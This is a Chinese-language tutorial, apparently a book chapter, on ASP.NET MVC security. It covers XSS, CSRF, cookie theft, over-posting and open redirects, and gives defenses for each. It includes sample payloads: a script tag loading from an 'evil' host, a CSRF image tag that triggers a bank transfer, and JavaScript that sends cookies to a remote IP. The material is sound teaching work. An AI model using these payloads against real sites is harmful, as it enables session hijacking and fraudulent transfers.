Web 程序運行在標準的、基於文本的協議(HTTP 和 HTML)之上,因此特別容易受到自動攻擊的傷害。本章主要介紹黑客如何濫用應用程序,以及針對這些問題的應對措施。php
XSS 攻擊在 Web安全威脅上排名第一,然而遺憾的是,致使 XSS 猖獗的主要緣由是開發人員不熟悉這種攻擊。可使用 2 種方法實現 XSS:git
被動注入中,用戶把不乾淨的內容輸入到文本框中,並保存到數據庫,之後再從新顯示在頁面中;主動注入中,用戶輸入的內容馬上就會在屏幕上顯示出來。這 2 種方式都會形成極大危害。web
XSS 經過向接收用戶輸入的網站中注入腳本代碼來實現,一個典型的例子就是博客,它容許用戶提交本身的評論。咱們知道,博客表單一般會有 4 個文本元素:姓名、e-mail 地址、評論、URL。相似這樣的表單會讓 XSS 黑客垂涎三尺,理由有兩個,首先,他們知道表單中提交的輸入內容會在站點上顯示;其次,他們知道編碼 URL 很麻煩,且開發人員通常會把這些 URL 做爲錨標記的一部分,一般狀況下不會對這些內容進行必要檢查。數據庫
攻擊者首先查看站點是否對輸入元素上的特定字符進行了編碼,由其是 URL 字段可能存在注入腳本的可能性。爲了說明這一點,咱們輸入以下 URL:瀏覽器
Your Home URL:No blog!Sorry:<安全
這不是直接攻擊,只是在 URL 中放入了一個「<」符號,若是對 URL 進行了 HTML 編碼,URL 中的 「<」符號會被「<」替換,所以,要知道是否對 URL 進行了 HTML 編碼,只需查看 URL 中的「<」是否被替換便可。下面提交評論,結果一切正常。服務器
儘管這樣看起來沒什麼不妥之處,可是這已經向黑客暗示注入腳本是可能的,這裏沒有對 URL 的驗證機制,若是查看頁面的源代碼,黑客們就會萌生強烈的 XSS 攻擊想法:cookie
<a href="No blog! Sorry:">Bob</a> // 筆者的意思是,先前若是輸入了正確的博客主頁地址,那麼這裏點擊人名Bob,應該會導航至Bob的博客app
雖然這個危害看起來並不危險,但從黑客的角度看卻能形成很大危害。向 URL 字段輸入下面內容,看看會出現什麼狀況:框架
"><iframe src="http://haha.juvenilelamepranks.example.com" height="400" width=500/>
這行腳本會關閉不受保護的錨標籤,並同時強制網站加載了一個 iframe,但若是這樣向一個網站發起攻擊,是極其愚蠢的,這隻會提醒網站管理員修補漏洞。
若是真正的隱形黑客,就應該像下面這樣:
"></a><script src="http://srizbitrojan.evil.example.com"></script> <a href="
這行腳本代碼爲了避免破壞頁面流而注入了一個JS腳本標籤,在關閉錨標記的同時又打開了另外一個錨標記,這纔是絕頂聰明的作法!即便將鼠標懸停在名稱上,也不會看到注入的腳本標籤,由於這是一個空的錨標記!當任意用戶訪問到該HTML頁面時,惡意的網站會輸出惡意的JS代碼,執行一些惡意操做,好比將用戶的 cookies 或數據發送到黑客本身的網站中。
上面的注入攻擊最終生成的 HTML 代碼以下圖:
1. 對全部內容進行 HTML 編碼。大部分狀況下使用簡單的 HTML 編碼就能夠避免 XSS,服務器經過這個過程將 HTML 保留字符(<、>等)替換爲對應編碼。而對於 ASP.NET MVC 而言,只需在視圖中使用 Html.Encode 或 Html.AttributeEncode 方法就可實現對特性值的編碼替換。頁面上每一點輸出都應該是通過 HTML 編碼或 HTML 特性編碼的!Razor 視圖引擎默認對輸出內容採用 HTML 編碼,這帶來了極大的方便和安全。
2. 除了關注頁面上的 HTML 輸出,保護那些在 HTML 動態設置的特性也是很是重要的。
3. 進行 JavaScript 編碼。只使用 HTML 編碼全部內容是不夠的,這並不能阻止 JavaScript 的執行。下面經 HTML 編碼的 URL 仍然有漏洞,將會彈出一個警告框:
http://localhost:1337/?UserName=Jon\x3cscript\x3e%20alert(\x27pwnd\x27)%20\x3c/script\x3e
黑客能夠利用十六進制轉義碼隨意的向輸入內容中插入 JS 腳本代碼,真正惡意的黑客不會彈出警告,而是盜取用戶信息或將用戶重定向。
CSRF 攻擊要比簡單的 XSS 攻擊更具危險性。爲了充分理解 CSRF 的概念,咱們將其分爲兩部分闡述,分別是 XSS 和混淆代理(confused deputy)。
混淆代理是一個計算機程序,它被其它部分程序無辜的愚弄,以致於錯誤的使用本身的權限,它是特權擴大(privilege escalation)的一個具體類型。在此類情形下,代理就是用戶的瀏覽器,受到了愚弄以致於誤用其權限,將用戶呈現給遠程的網站。
假設正在構建一個外觀精美的網站,容許用戶登陸和退出,以及在站點中進行權限內的任何操做。在 AccountController 控制器中,Login 操做盡可能保持簡單,而後再在其中添加一個 Logout 操做刪除登陸用戶的信息:
public ActionResult Logout()
{
FormsAuth.SignOut();
return RedirectToAction("Index", "Home");
}
假設容許輸入白名單中有限的 HTML(一個可接受的標籤或字符的列表)做爲評論系統的一部分,大部分的 HTML 都通過了精簡和淨化,可是由於容許用戶發佈截圖,所以對圖片不加限制。若是有一天,某人在評論中添加了這個稍帶惡意的 HTML 圖片標籤:
<img src="/account/logout" />
如今一旦有人訪問了該頁面,瀏覽器就會自動請求這張圖片,以後就會退出站點。這未必是一個 CSRF 攻擊,卻展現瞭如何在用戶不知情的狀況下,掛羊頭賣狗肉的欺騙瀏覽器向任意指定的站點發出 GET 請求!
CSRF 攻擊是基於瀏覽器的工做方式運做的。在登陸到一個站點後,信息將以 cookie 形式存儲到瀏覽器中,多是內存中的 cookie(會話 cookie),也多是寫到硬盤裏更爲持久的 cookie。經過這兩種 cookie 中的任意一種,瀏覽器會告訴站點這是一個真實用戶發出的請求。
下面來看一個真實的 CSRF 攻擊例子,從黑客的角度看,CSRF 攻擊能產生很大的破壞,且與站點用戶之間的遊戲是一場實力不均衡的較量。因爲 Big Massive Site 站點天天有近 5 千萬的請求,因此局勢有利於黑客一方。如今來闡述遊戲的本質,查找能夠對站點的安全漏洞作哪些操做,如連接評論,在網上衝浪時嘗試各類事物,積累了一個「普遍使用的在線銀行站點」列表,這些銀行站點均可以支持在線轉帳和帳單支付,通過研究,瞭解了這些銀行站點響應轉帳請求的原理,咱們會發現有一種方式存在很是嚴重的安全漏洞(轉帳標識在 URL 中),以下所示:
這種標識方法簡直愚蠢之極,哪家銀行會這樣作?遺憾的是,這個問題的答案不是一家銀行而是不少家銀行在作,緣由很簡單,Web 開發人員過份信任瀏覽器。上面的 URL 依賴於這樣的假設:服務器將會使用來自會話 cookie 的信息來驗證用戶的身份和帳戶,這個假設並不壞,會話 cookie 中的信息能夠避免每次請求時都要從新登陸,所以瀏覽器必須記住一些信息!
上面還有一些內容沒有討論到,須要使用一些社會工程方面的知識,以黑客的身份登陸到 Big Massive Site 站點,將以下內容做爲評論輸入到其中一個主頁面上:
Hey, did you know that if you're a Widely Used Bank customer the sum of the digits of your account number add up to 30? It's true! Have a look: http://www.widelyusedbank.example.com." // 設套,讓用戶便捷的點擊去向銀行的連接,誘使用戶登陸銀行系統
而後退出 Big Massive Site 站點,並用第二個假帳戶再次登陸站點,以不一樣名稱的虛構用戶在上面的「種子」評論後留言:
"OMG you're right! How weird!<img src="http://widelyusedbank.example.com?function=transfer&amount=1000&toaccountnumber=6214850210491368&from=checking" />.
// 第一次瀏覽並不會出事,登陸過銀行系統後,再回到這裏或者切回頁面發出評論時,此次的請求會進行轉帳
Widely Used Bank 的客戶看到評論後,極可能就會登陸他們的帳戶,並計算帳號數字的累加和。若是計算以後發現不等於 30,他們就會回到 Big Massive Site,再次閱讀評論(或留下本身的評論,「不對,個人累加和不是 30」)。
遺憾的是,Perfect Victim(受害者)的瀏覽器仍然把他的登陸會話信息保存在內存中,也就是說他仍處於登陸狀態!當他瀏覽到帶有 CSRF 攻擊的頁面時,CSRF 頁面就會向銀行站點發出一個轉帳的請求,錢就「完美」的丟失了。
在評論中帶有 CSRF 攻擊的連接圖片將做爲一個不完整的紅 X 來渲染,但大部分人會把它當作一個損壞的頭像或表情符號。事實上,這是一個騙取現金的混淆代理攻擊。這種攻擊不只僅侷限於簡單圖像標籤/GET請求的欺騙,還能夠很好的擴展到垃圾郵件的傳播,向人們發送虛假連接,並費盡周折的讓人們點擊連接,當進入他的站點後,隱藏的 iframe 或一些腳本將自動使用 HTTP POST 請求向銀行提交一個表單,試圖轉帳。若是此時剛好有一個客戶在未退出銀行網站的狀況下點擊了這個連接,那麼此次攻擊就會成功。
1. ASP.NET MVC 框架提供了一個阻止 CSRF 攻擊的好方法,它經過驗證用戶是否資源的向站點提交數據來達到防護攻擊的目的。實現這一方法最簡單的方式,就是在每個表單請求中插入一個包含惟一值的隱藏輸入元素:
<form action="/account/register" method="post">
<!-- 生成一個隱藏的窗體字段(防僞標記),在提交窗體時將驗證此字段 -->
@Html.AntiForgeryToken()
......
</form>
上述代碼會生成例如:
<input name="__RequestVerificationToken" type="hidden" value="zLQwGy3GarHp4wOyPx1sLYrfPfVHtjkCxDWkP54V4krJUXX7SY3HCHsUT5UCqPZK31IuATa7iUejEGJdA7fN1JvnmVix_fjgOg3xu64e2fg1" />
該值將與做爲會話 cookie 存儲在用戶瀏覽器中的另外一個值相匹配,在提交表單時,ActionFilter 就會驗證這兩個值是否匹配:
2. 使用 ActionFilter 進行 HttpReferrer 驗證,可查看提交表單值的客戶端是否確實在目標站點上:
public class IsPostedFromThisSiteAttribute : AuthorizeAttribute
{
public override void OnAuthorization(AuthorizationContext filterContext)
{
if (filterContext != null)
{
if (filterContext.HttpContext.Request.UrlReferrer == null)
{
throw new System.Web.HttpException("Invalid submission");
}
if (filterContext.HttpContext.Request.UrlReferrer.Host != "mySiteName")
{
throw new System.Web.HttpException("This form wasn't submitted from this site!");
}
}
}
}
[IsPostedFromThisSite]
public ActionResult Register(RegisterModel model)
cookie 是一種增長 Web 可用性方法,大部分網站在用戶登陸後都使用 cookie 來識別用戶身份。若是沒有 cookie,用戶將一次又一次的登陸網站,但若是攻擊者盜竊了 cookie,就能夠冒充用戶身份在網站上進行操做。
cookie 中一些信息是可有可無的,像站點偏好和站點歷史等,但用於確認用戶身份的信息卻很是重要,好比 ASP.NET 的表單驗證票據(ASP.NET Forms Authentication Ticket),cookie主要有 2 種形式:
兩種 cookie 都會在每一次的請求中經過 HTTP 頭信息進行傳遞。若是能竊取某人在一個網站上的身份驗證 cookie,就能夠輕易的冒充他。這種攻擊實際上很是簡單,它依賴於 XSS 漏洞,攻擊者須要在目標站點上注入一些腳本,才能竊取 cookie。好比在某些評論中,注入了一些精心構建的 URL,最後渲染的代碼會加載和執行來自遠程服務器的腳本,JS代碼以下:
window.location = "http://1.2.3.4:81/r.php?u="
+ document.links[1].text
+ "&l=" + document.links[1]
+ "&c=" + document.cookie;
這樣攻擊者就能夠迅速的盜竊到用戶的 cookie。
可使用 HttpOnly 組織 cookie 盜竊。事實上,能夠中止腳本對站點中 cookie 的訪問,只須要設置一個簡單標誌 HttpOnly 便可:
<httpCookies domain="" httpOnlyCookies="true" requireSSL="false"/> // web.config 中設置
Response.Cookies["MyCookie"].Value = "Remembering you...";
Response.Cookies["MyCookie"].HttpOnly = true; // 程序中爲編寫的每一個 cookie 單獨設置。
這個標誌的設置會告訴瀏覽器,除了服務器修改或設置 cookie 以外,其餘一些對 cookie 的操做均無效。這樣作很簡單,卻能夠阻止大部分基於 XSS 的 cookie 問題,同時由於腳本不多須要訪問 cookie,因此此功能常常被使用。
模型綁定經過重複提交呈現了另外一種攻擊媒介。下面列舉一個容許用戶提交評價意見的商店商品頁面:
public class Review
{
public int ReviewID { get; set; }
public int ProductID { get; set; }
public Product Product { get; set; }
public string Name { get; set; }
public string Comment { get; set; }
public bool Approved { get; set; }
}
向用戶展現一個簡單的表單,只包含 Name 和 Comment 兩個字段:
Name: @Html.TextBox("Name") <br />
Comment: @Html.TextBox("Comment")
咱們並不但願用戶可以本身審覈經過本身的評論,然而,存在大量的 Web 開發工具可供惡意用戶向查詢字符串或提交的表單數據中添加「Approved=true」,從而實現干預表單提交。但模型綁定器並不知道提交的表單中包含哪些字段,而且還會將 Approved 設置爲 true。更糟的是,因爲 Review 類中有一個 Product 屬性,所以,黑客還能夠嘗試提交一些如 Product.Price 的字段值,這些修改均超出了用戶的操做權限。
防護重複提交攻擊的最簡單方式,就是使用 Bind 特性顯式的控制須要由模型綁定器綁定的屬性。Bind 特性可使用在模型類上,也能夠放在控制器操做上。可使用白名單指定容許綁定的字段,也可使用黑名單禁止綁定的字段,一般白名單會更安全(不容易搞錯)。
[Bind(Include = "Name,Comment")]
[Bind(Exclude = "Product,Approved")] // 一般只用上面的白名單
public class Review
那些經過請求(如查詢字符串和表單數據)指定重定向 URL 的 Web 應用程序可能會被篡改,而把用戶重定向到外部的惡意網站 URL,這種篡改就被稱爲重定向攻擊。
攻擊者知道用戶要登陸的網站,這使得用戶極容易受到釣魚攻擊(phishing attack),因此開放重定向很是危險。例如,攻擊者向站點用戶發送惡意的電子郵件試圖捕獲他們的密碼。首先向用戶發送一個連接:
http://nerddinner.com/Account/LogOn?returnUrl=http://nerddiner.com/Account/LogOn
注意,返回的 URL 是攻擊者控制的域(少了一個'n'),當用戶訪問時,會連接到合法的站點進行登陸,成功後會被導航至攻擊者的站點,除非很是警戒,不然很難察覺到這是僞造的登陸頁面,攻擊者精心設計了同樣的登陸頁面,並在頁面包含一個錯誤信息,要求用戶從新登陸,此時被愚弄的用戶還覺得剛纔本身輸錯了密碼,當再次從新輸入後,攻擊者的站點會記錄這些信息,再次把用戶重定向到合法的站點,此時,合法站點因爲先前已經經過驗證,最終,攻擊者擁有了用戶的用戶名和密碼,而用戶殊不知道本身已經把這些信息提供給他們了。
MVC1 和 MVC2 中 LogOn 的實現就返回一個重定向到 returnUrl,從下面代碼能夠看出沒有對 returnUrl 參數進行任何驗證:
public ActionResult LogOn(LogOnModel model, string returnUrl)
{
if (...)// 作些驗證
{
return Redirect(returnUrl);
}
return View(model);
}
MVC4 應用程序修改了 Login 操做,並對 returnUrl 參數進行驗證:
[HttpPost]
[AllowAnonymous]
[ValidateAntiForgeryToken]
public ActionResult Login(LoginModel model, string returnUrl)
{
if (ModelState.IsValid && WebSecurity.Login(model.UserName, model.Password, persistCookie: model.RememberMe))
{
return RedirectToLocal(returnUrl);
}
// 若是咱們進行到這一步時某個地方出錯,則從新顯示錶單
ModelState.AddModelError("", "提供的用戶名或密碼不正確。");
return View(model);
}
private ActionResult RedirectToLocal(string returnUrl)
{
if (Url.IsLocalUrl(returnUrl)) // 返回一個值,該值指示 URL 是否爲本地 URL
{
return Redirect(returnUrl);
}
else
{
return RedirectToAction("Index", "Home");
}
}
// 實際上,IsLocalUrl 方法內部調用了 System.Web.WebPages 的方法,由於 ASP.NET Web Pages 應用程序也要採用這種驗證方式
public bool IsLocalUrl(string url)
{
return System.Web.WebPages.RequestExtensions.IsUrlLocalToHost(Request, url);
}
威脅 |
解決方法 |
自滿 | 自我訓練,假設程序將被攻擊,記住:保護好本身的數據最重要 |
誇張腳本攻擊(XSS) | 使用 HTML 編碼全部內容。編碼特性。記住 JavaScript 編碼。若有可能,使用 AntiXSS 類 |
跨站請求僞造(CSRF) | 令牌驗證。冪等的 GET 請求。HttpReferrer 驗證。 |
重複提交 | 使用 Bind 特性顯式地綁定白名單或拒絕黑名單 |
重定向攻擊 | 驗證是不是本地 URL |